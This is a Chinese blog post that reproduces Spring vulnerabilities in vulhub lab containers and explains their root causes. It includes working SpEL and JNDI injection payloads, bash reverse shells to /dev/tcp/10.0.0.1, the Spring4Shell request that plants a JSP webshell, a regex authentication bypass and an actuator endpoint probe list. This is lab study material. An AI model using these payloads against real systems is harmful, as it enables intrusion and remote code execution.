Spring框架漏洞总结

于 2024-09-18 02:31:30 发布
阅读量1 收藏
点赞数
文章标签： spring java 后端

目录

以下漏洞复现大部分来自vulhub，本篇文章主要是为了熟悉和理解常见的漏洞的攻击流程，当然也有我自己的一些原理解释。

SpEL注入攻击

Spring H2 Database Console未授权访问

  • 漏洞原理

    • vulhub的解释
      H2 database是一款Java内存数据库，多用于单元测试。H2 database自带一个Web管理页面，在Spirng开发中，如果我们设置如下选项，即可允许外部用户访问Web管理页面，且没有鉴权：
      spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
      利用这个管理页面，我们可以进行JNDI注入攻击，进而在目标环境下执行任意命令。
    • 我的补充
      参考文章：Spring Boot + H2数据库JNDI注入
      这里就是一个JNDI注入，在web页面中输入我们的rmi服务器，即远程绑定我们的方法，然后去http服务器加载恶意class类，攻击成功。

  • 影响版本
    Spring Boot中使用 H2数据库。只要设置不当就会出现该漏洞

  • 漏洞复现
    访问路由 /h2-console 来到页面
    在这里插入图片描述
    自己搭建好rmi服务器且弄好http加载恶意类，但是我们可以直接使用大佬的集成工具，JNDI一键帮忙搭载好了：https://github.com/welk1n/JNDI-Injection-Exploit
    开启恶意服务器：
    设置好-C执行的命令
    （-A 默认是第一张网卡地址，-A 你的服务器地址，我这里就默认了）
    在这里插入图片描述

    攻击之前先进入容器查看一下确认不存在hacker文件
    （因为我们执行的命令是touch /tmp/hacker）
    在这里插入图片描述

    按照你java版本(1.8以上建议选第一个就行)选择rmi地址，然后在web漏洞存在的页面上输入

    javax.naming.InitialContext
rmi://your-ip:1099/9b8j4m

    点击连接即发起攻击在这里插入图片描述 rmi服务器有反应 在这里插入图片描述

    容器内可以看到就创建成功了
    在这里插入图片描述

Spring Security OAuth2远程命令执行漏洞(CVE-2016-4977)

  • 漏洞原理
    参考：https://blog.knownsec.com/2016/10/spring-security-oauth-rce
    注意：参考文章中访问的url和vulhub给的不一样，我下面是按照vulhub的来。
    简单来说：这里的SpEL注入，造成注入的原因是渲染了错误信息，由于errorSummary被装入model，然后进入函数后递归提取SpEL表达式执行。

  • 影响版本
    Spring Security OAuth2 2.0.0 ~ 2.0.9
    Spring Security OAuth2 1.0.0 ~ 1.0.5

  • 漏洞复现
    访问 /oauth/authorize?response_type=${233*1}&client_id=acme&scope=openid&redirect_uri=http://test
    在这里插入图片描述
    需要登录的输入admin/admin
    然后就会发现我们SpEL注入的表达式就在：response_type=${233*1}
    那么就可以通过脚本：https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py 来生成对应的SpEL表达式
    在这里插入图片描述
    使用脚本之前先进行编码，这里将你要执行的命令编码一下，这里使用base64，要进行一次反弹shell操作。
    在这里插入图片描述
    然后使用poc.py脚本生成SpEL表达式，
    格式为：bash -c {echo,你生成的base64编码放这里|{base64,-d}|{bash,-i}
    在这里插入图片描述
    然后再服务器开启监听接受反弹shell
    在这里插入图片描述
    接着就可以将poc.py的那一段payload放进参数response_type=${payload这里}
    在这里插入图片描述
    可以看到反弹shell成功
    在这里插入图片描述

Spring WebFlow远程代码执行漏洞(CVE-2017-4971)

  • 漏洞原理
    参考文章：https://yaofeifly.github.io/2017/06/13/Spring-Web-Flow/
    简单来说：我们需要额外增加一个参数，且以_开头的，作为payload来传递到后台进行解析，而根本原因是addDefaultMappings函数中对我们传递进来的parameterNames进行绑定解析，而解析的类为expressionParser，该类expressionParser的默认值可以解析SpEL表达式，所以通过控制参数造成了SpEL注入攻击。
    由此可知还要有前提条件：

  • MvcViewFactoryCreator类中useSpringBeanBinding默认值（false）未修改

  • webflow配置文件中view-state节点中指定了model属性，并且没有指定绑定的参数，即view-state中没有配置binder节点

  • 影响版本：2.4.x

  • 漏洞复现
    在这里插入图片描述
    来到登录页面
    /login
    在这里插入图片描述
    在这里插入图片描述
    访问：/hotels/1 进行预订酒店
    在这里插入图片描述
    在这里插入图片描述
    随便填写，然后提交
    在这里插入图片描述
    开启抓包，点击comfirm
    在这里插入图片描述在这里插入图片描述
    这里进行一个反弹shell功能，那么在服务器先开启nc监听
    在这里插入图片描述
    然后填入反弹shell的payload:（记得将payload进行url编码）
    _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
    进行url编码↓↓↓↓进行url编码
    _(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub
    在这里插入图片描述
    发送数据包，返回500是正常
    在这里插入图片描述
    查看nc已经看到反弹shell了
    在这里插入图片描述

Spring Data Rest远程命令执行漏洞(CVE-2017-8046)

  • 漏洞原理
    参考文章：https://tech.meituan.com/2017/09/29/spring-data-rest-cve.html
    简单来说：通过提交一个PATCH请求op为replace，调用父类PatchOperation的evaluateValueFromTarget方法，但是这里存在缺陷，没有检查路径是否符合逻辑，那么就导致setValueOnTarget往后的参数值继续进行SpEL表达式解析。

  • 影响版本
    Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
    Spring Boot version < 2.0.0M4
    Spring Data release trains < Kay-RC3

  • 漏洞复现
    容器开启后直接访问：/customers/1
    在这里插入图片描述
    抓包修改为：
    该SpEL表达式操作为：touch /tmp/success，具体执行命令可以自行修改字节来控制。

    PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

放包前查看容器内是否存在该文件：
docker exec -it 3b2e846b1012 ls /tmp 在这里插入图片描述
放包返回400
在这里插入图片描述
返回容器查看就被创建出来了
在这里插入图片描述

Spring Messaging远程命令执行漏洞(CVE-2018-1270)

  • 漏洞原理
    Websocket是html5提出的一个协议规范，是为解决客户端与服务端实时通信，在建立连接之后，双方可以在任意时刻，相互推送信息。
    STOMP是websocket的子协议，主要规定传输内容。但是在该漏洞中你只需要知道SUBSCRIBE为订阅消息以及注册订阅的目的地，SEND为发送消息。通过这两个命令就足够理解漏洞原理了。
    一般是建立连接为subscribe，send为连接后发送的消息。

spring messaging中，其允许客户端订阅消息，并使用selector过滤消息。selector用SpEL表达式编写，并使用StandardEvaluationContext解析，造成命令执行漏洞。

提取大佬的总结：

  • 通过发送SUBSRIBE消息解析表达式并保存到消息指定的目的地址下
  • 当发送SEND消息时会从目的地址下获取所有的存根，遍历存根并获取对应的表达式并调用getValue方法触发漏洞

说白了就是先订阅，这个动作就是建立好连接了，后面都必须要使用这个连接，然后通过这个连接去触发你在订阅的时候插入的恶意payload，但是这个触发是按照真实环境来看的，也就说你需要找到建立连接后哪个可以进行send动作的路由，这个路由是开发者在开发的时候定义的，所以你需要找到后才能进行发送。
如图所示：先connect 然后去send，就通过这种方式来攻击。
（ps:本人在抓包的时候尽力建立同一个连接来进行发送，但是就是无法通过抓包形式来建立好连接，所以真的就只能使用poc脚本来攻击了）
在这里插入图片描述

  • 影响版本
    Spring Framework 5.0 to 5.0.4
    Spring Framework 4.3 to 4.3.14

  • 漏洞复现
    虽然我的电脑无法通过抓包来复现，但是还是要过一下流程
    1.开启靶场
    在这里插入图片描述
    2.点击网页中的connect抓包，发送payload

"SUBSCRIBE\nselector:T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')\nid:sub-0\ndestination:/topic/greetings\n\n\u0000"

在这里插入图片描述
3.如果你的建立成功了，也就是说网页中的disconnect可以点击的话代表你已经成功连接了，然后点击send发送抓包。
（这里无须纠结为什么是app/hello，因为是demo让你复现的，真实环境的话你自己点击下出现发送send的数据包就抓下来即可，其实你点击发送就已经是攻击成了，主要是你在建立连接的时候，是否成功插入payload进去）

["SEND\ncontent-length:16\ndestination:/app/hello\n\n{\"name\":\"aaaaa\"}\u0000"]

在这里插入图片描述
如果你查看容器下/tmp/有success就代表攻击成功了。
由于本人这种方式没有复现成功就使用攻击脚本来复现，脚本能够帮助你一直使用这个连接然后就不用抓包放包等建立连接了。
下载脚本：exploit.py
如果你是使用vulhub靶场来复现的只需要修改56行即可（如果不是就自行找到订阅和send）
在这里插入图片描述
先查看确认靶场内不存在success文件（因为攻击命令就是创建success文件）
在这里插入图片描述
然后直接运行py脚本，
这里我修改了一下脚本，将发送的data数据打印出来了，攻击过程更加清楚。
可以看到就是实打实的三步骤：
1.先建立连接
2.发送订阅，订阅消息中加入了SpEL恶意代码
3.发送消息，触发SpEL解析
在这里插入图片描述
查看容器发现已经成功创建文件
在这里插入图片描述

Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

  • 漏洞原理
    vulhub解释：
    Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
  • 理解：（看不懂建议先看下面的漏洞复现）
    直接看漏洞事发地：
    在这里插入图片描述
    通过查看代码可以发现对参数名（propertyName）进行了很多操作，接着用propertyName设置了expression对象
    在这里插入图片描述
    然后到了expression.setValue 进去后就是 spel 表达式解析了，根本原因是getPropertyPath对参数名只进行了判断，但是使用的参数名还是原来的那个，所以导致我们通过修改参数名就能够进行SpEL注入攻击。
    这可以继续往下看代码会看到该函数确实是进行了一个正则匹配，但是返回去后好像确实没看到对原本的参数名进行替换，所以还是使用原来的参数名去解析了。
    在这里插入图片描述
  • 影响版本：2.0.5及以前版本
  • 漏洞复现
    访问/users
    随便抓一个包，然后替换为：
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

在这里插入图片描述

发包之前先确认一下容器内不存在/tmp/success文件，因为我们攻击的代码就行创建/tmp/success文件
在这里插入图片描述

然后发包，返回500
在这里插入图片描述
查看文件确认攻击成功
在这里插入图片描述

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

  • 漏洞原理
    Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。
    这里我没有搞清楚具体发生漏洞的代码，这里知道攻击过程，反正就是能够自定义路由，然后通过refresh路由添加进去，然后你就可以使用你自定义的路由了，具体的SpEL注入代码就是在你自定义路由的时候注入进去了，刷新就是触发路由执行SpEL，查看你的路由就是查看执行结果。
  • 影响版本：
    Spring Cloud Gateway 3.1.0
    Spring Cloud Gateway 3.0.6
  • 漏洞复现
    随便抓包修改数据包
    1.自定义路由
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
2.刷新添加路由且执行SpEL

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述
3.查看执行结果

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

在这里插入图片描述

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

  • 漏洞原理
    SpringCloud Function 中的functionRouter支持SpEL，跟进代码发现最后是StandardEvaluationContext 对header的值进行SpEL表达式解析。
    根本原因就是也就是说在框架中可以直接添加header值，改成能够执行SpEL的spring.cloud.function.routing-expression豆子，其值写入SpEL代码，代码中最终会判断spring.cloud.function.routing-expression不为空，将其值传入functionFromExpression，最终解析了SpEL。
  • 影响版本
    springcloud Function3.0以上版本
  • 漏洞复现
    开启容器后，先确认不存在/tmp/success文件
    在这里插入图片描述
    发送数据包
POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

在这里插入图片描述
再次查看就可以发现文件创建成功
在这里插入图片描述

SpEL注入相关漏洞到此结束。
下面就不是有关SpEL的一些Spring漏洞了。

Spring Framework 远程命令执行漏洞(CVE-2022-22965)

  • 漏洞原理
    vulhub解释：
    在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定进行的远程代码执行 (RCE) 攻击。特定漏洞需要应用程序在 Tomcat 上以 WAR 部署运行。如果应用程序部署为 Spring Boot 可执行 jar（即默认），则不易受到攻击。但是，漏洞的性质更为普遍，可能还有其他方法可以利用它。

  • 影响版本
    Spring Framework 5.3.x ~ 5.3.18
    Spring Framework 2.x ~ 5.2.20
    使用tomcat < 9.0.62 部署spring并且使用了POJO参数绑定

  • 漏洞复现
    随便抓包，修改成以下数据包（记得还有两个回车）

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

在这里插入图片描述

然后就能直接远程使用命令了
访问：/tomcatwar.jsp?pwd=j&cmd=id ，cmd就是你要执行的命令
在这里插入图片描述

Spring Security认证绕过(CVE-2022-22978)

  • 漏洞原理
    看了无数篇漏洞解析，其实就是因为正则匹配中匹配不上，导致没有进行安全认证，所以导致了认证绕过。
    事故发生地就是：
    httpSecurity.authorizeRequests().regexMatchers("/admin/.*","你传入的uri").authenticated();
    就是因为这里的.* ，因为.是不匹配\r\n（即%0a或者%0d），所以当你传入\r \n的时候就会匹配出错，导致返回false，那么就不会进行认证，那么就绕过了直接进入后台。
    当然你要知道人家后台的uri，比如这里靶场就是admin，那么在绕过的时候只要前面带着admin，然后你也通过%0a或者%0d绕过，不管你admin后是啥路径都会带你进入admin后台，所以不要在意你admin后是啥路径，只要带着绕过正则匹配的%0a或者%0d即可。
  • 影响版本：Spring Security5.5.6 ~ 5.6.3
  • 漏洞复现
    没啥好说的，找到后台uri后在后面拼接%0a或者%0d即可绕过了
    未绕过前
    在这里插入图片描述
    绕过后
    在这里插入图片描述

SpringBoot信息泄露

下面是常见的信息泄露路由
可以通过字典进行fuzz
或者
可以使用github上的开源扫描工具：SpringBoot-Scan

/api-docs
/v2/api-docs
/swagger-ui.html
/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/hystrix.stream

比如↓（真实环境，所以厚码附上）
在这里插入图片描述

(spring不止这些漏洞，只是从vulhub中的漏洞进行复现以及解析理解)
后续等本散修突破境界有能力之后会尝试开设相关漏洞源码分析。

原创作者: dhan 转载于: https://www.cnblogs.com/dhan/p/18416869
松松饼
关注
spring mvc 参数绑定漏洞
03-20
此外，开发者还应关注Spring的安全更新，及时升级Spring MVC框架以修补已知的安全漏洞。通过结合代码审查、单元测试和安全扫描工具，可以在开发过程中尽早发现并修复潜在的参数绑定漏洞。 对于学习和排查此类问题，...
spring-web-5.2.4_spring-web_SSM框架_
09-29
Spring Web是Spring框架的核心模块之一，它为构建Web应用程序提供了基础支持。在Spring框架中，Spring Web主要负责处理HTTP请求和响应，同时提供了一系列用于Web开发的工具和接口。SSM（Spring、Struts、MyBatis）是...
spring-framework-5.0.5.RELEASE 漏洞修复
04-11
Spring框架中的spring-messaging模块提供了一种基于WebSocket的STOMP协议实现，STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞，因此攻击者可以通过构造恶意的消息来实现远程代码执行。 Windows平台...
spring Framework 远程命令执行漏洞CVE-2022-22965漏洞脚本自用
10-27
总之，Spring4Shell漏洞是一个提醒，即即使是最成熟和广泛使用的框架也可能存在安全隐患。开发者和运维人员应始终保持警惕，及时修补和更新软件，以防止恶意攻击者利用这些漏洞对系统造成破坏。
spring-framework-5.3.23 源码
03-05
在Spring框架中，DI是通过容器来管理对象的生命周期和相互依赖关系。这使得开发者可以避免硬编码依赖，提高代码的可测试性和可维护性。当一个类需要另一个类时，不再需要在代码中直接创建对象，而是声明需要的依赖，...
Spring Framework 学习总结博客
2302_80084329的博客
09-13 1039
通过本文的学习，我们从Spring的核心架构入手，逐步理解了IoC和DI的概念，并通过代码示例掌握了如何在实际项目中使用这些技术。Spring通过IoC容器管理bean，依赖注入将bean之间的关系解耦，大大简化了复杂系统的开发过程。这些基本的Spring知识是理解其高级特性（如AOP、事务管理）的基础，掌握这些概念后，我们可以更加自如地使用Spring构建复杂的企业级应用。
基于spring的博客系统（总）
2202_76101487的博客
09-12 1397
本文写了基于spring mvc创建的博客系统；
java项目之基于springboot的贸易行业crm系统（源码+文档）
sinat_26552841的博客
09-13 456
基于springboot的贸易行业crm系统的主要使用者分为： 管理员功能有个人中心，部门管理，员工管理，产品分类管理，产品信息管理，客户信息管理，市场活动管理，销售订单管理，配送订单管理。员工可以操作自己的个人中心，客户信息，产品信息，销售订单，配送订单，售后回访等。
spring综合性利用工具-SpringBootVul-GUI(五)
siu~
09-12 857
一个半自动化springboot打点工具，内置目前springboot所有漏洞
springboot3.X版本集成mybatis遇到的问题
SmileAssassn的博客
09-15 427
最根本的原因是搜出来的配置是参照springboot2.X版本，当我们使用springboot3.x版本之后，需要配置使用3.0.3及以上的mybatis才行，否则的话就会出现无法注入mapper的bean的问题。参照我如下的maven配置即可完美解决该问题，使用3.0.3版本的mybatis就可以完美适配springboot3.X版本。当我参照如下搜索的内容去集成mybatis的时候，会出现各种各样的报错。由于我本地springboot为3.x版本，如下图所示，最新版本。
RabbitMQ Spring客户端使用
lixiaotao_1的博客
09-17 238
java自带序列化工具类，将java对象序列化为字节数组，用于网络传输。jdk序列号存在缺陷，（不安全，占用空间大等）注解声明式队列和交换机。
5--SpringBoot、Mybatis
2301_77946674的博客
09-11 1236
通过注解的形式自动生成构造器、getter/setter、equals、hashcode、toString等方法，并可以自 动化生成日志变量，简化java开发、提高效率。客户端在执行SQL时，先从连接池中获取一个Connection对象，然后在执行SQL语句，SQL语句执。客户端执行SQL语句：要先创建一个新的连接对象，然后执行SQL语句，SQL语句执行后又需。在框架的基础上进行软。要关闭连接对象从而释放资源，每次执行SQL时都需要创建连接、销毁链接，这种频繁的重复。
基于springboot学生健康管理系统的设计与实现
最新发布
2401_87134477的博客
09-17 1141
国内对健康信息管理的意识一直较为落后，直到近年来随着经济水平的提高和信息技术的发展，国内对健康管理的研究和相关系统的开发渐渐多了起来。基于选题的具体要求，我已经广泛查阅相关文献资料，对比近年来的各种信息管理系统以及其运用的相关技术，发现近年来流行的Springboot技术也已经越来越多的应用到各类系统。本选题采用Springboot技术主要是因为它不需要进行大量的配置工作，并且它将流行的组件框架的依赖库进行了分组整合，在开发的过程中可以一次性添加到项目的Maven中。实现学生健康资料的规范化管理。
k8s部署springcloud-alibaba项目
Devil的博客
09-12 815
k8s部署spring cloud alibaba项目，技术涉及k8s，flannel，nfs，mysql，nginx、nacos、sentinel、seata，需要有一定的知识储备，不面向0基础
基于Java、SpringBoot、Vue的加油站管理系统设计
程序猿大波的博客
09-14 363
本系统是一个基于Java、SpringBoot和Vue的加油站管理系统。它旨在提高加油站的运营效率，优化客户服务体验，并通过数据分析支持更精准的业务决策。该系统包括用户管理、汽油管理、站点管理等功能模块。通过这些功能，管理员可以方便地管理关键业务信息，同时提供实时的设备监控和数据分析工具，帮助管理者做出明智的决策。此外，系统还提供了安全与权限控制功能，确保只有授权用户才能访问敏感信息，保护加油站的数据安全。整个系统设计简洁易用，能够满足加油站日常运营的需求，提高工作效率和客户满意度。
计算机毕业设计 基于SpringBoot的课程教学平台的设计与实现 Java+SpringBoot+Vue 前后端分离 文档报告 代码讲解 安装调试
weixin_19164791635
09-12 949
本文介绍了一款基于Java、SpringBoot和Vue.js技术的课程教学平台。该平台服务于管理员、学生和教师，提供教学资源管理、课程信息浏览、作业提交与批改等功能，旨在优化教学流程，提升教育质量，促进教育资源的数字化共享，推动教育信息化发展。
Spring-关于IOC的解释及相关理解(如何从三个方面理解)
努力搬砖，顶峰相见
09-14 528
关于IOC的理解主要从以下三个方面来进行：IOC容器、控制反转、依赖注入。
【springboot】简易模块化开发项目整合MyBatis-plus
qq_40878316的博客
09-11 1170
接，继续扩展项目。
spring security中几大组件的作用和执行顺序
阿信今天的代码没bug的博客
09-11 357
spirng security中的几大组件的差异和执行顺序
spring框架的漏洞
06-09
Spring框架有一些已知的漏洞，这些漏洞可能会影响应用程序的安全性，主要包括以下几类： 1. 远程代码执行漏洞：攻击者可以利用这种漏洞远程执行恶意代码，从而控制服务器或获取敏感信息。 2. 权限许可和访问控制漏洞：攻击者可以利用这种漏洞绕过应用程序的安全机制，访问未授权的资源或执行未授权的操作。 3. 拒绝服务漏洞：攻击者可以利用这种漏洞通过发送恶意请求或攻击服务器，导致应用程序无法正常工作。 为了保证Spring框架的安全性，建议开发人员及时更新框架版本，避免使用过时的版本，以及使用安全的编码实践来防止漏洞的出现。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值